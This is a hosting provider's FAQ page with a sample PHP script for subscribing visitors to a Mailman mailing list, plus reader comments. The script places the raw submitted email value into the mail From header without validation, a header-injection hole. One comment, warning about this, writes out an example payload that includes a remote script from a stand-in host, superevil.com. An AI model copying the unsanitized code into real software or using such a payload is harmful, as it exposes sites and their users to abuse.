Mailing Lists

ID #185

How do I let people subscribe to my Mailman list using a homemade PHP script?

Applies to: Grid System, Managed Servers, VPS

On your webpage, you can have people fill out a HTML form to subscribe to your mailing list instead of having them visit the Mailman Subscription page. The following sample PHP code sends a subscription confirmation message to the email address the user submits.

if($_POST["Email"])
{
$maillist_address = "yourlist-join@yourdomain.com";
$subject = "";
$body = "";
$headers = "From: " . $_POST["Email"];

if (mail("$maillist_address",
"$subject",
"$body",
"$headers"))
{
print "Thank you. A subscription confirmation has been sent.";
}else{
print "The subscription request failed.n Perhaps the email is not valid orn
the mail server could not be contacted.n";
}
}
?>


Subscribe my email address:





"your-list" is the name of your mailing list. If you don't know your list name, it is listed as the "public name" in the General Options section of your list administration page. "yourdomain.com" is the domain name you host at Modwest which uses the Mailman service.


Last update: 2010-10-03 13:19
Author: FAQ Admin
Revision: 1.3

Digg it! Share on Facebook Print this record Send FAQ to a friend Show this as PDF file
Please rate this FAQ:

Average rating: 1 (2 Votes)

completely useless 1 2 3 4 5 most valuable

You can comment this FAQ

Comment of Anonymous:
Ripper - this is a great help. I'm building a web GUI for moderators so I don't have to give them administrator access but they can still add and remove users. Thanks.
Added at: 2008-11-20 15:11

Comment of Anonymous:
Don't forget to scrub that user input. An evil person could input the following:
email"]; include(http://superevil.com/nastyscript.php);
or something along those lines.
Added at: 2009-01-08 11:51

Comment of Anonymous:
Here's my attempt at scrubbing the input as suggested by the commenter above:




Added at: 2009-05-28 14:46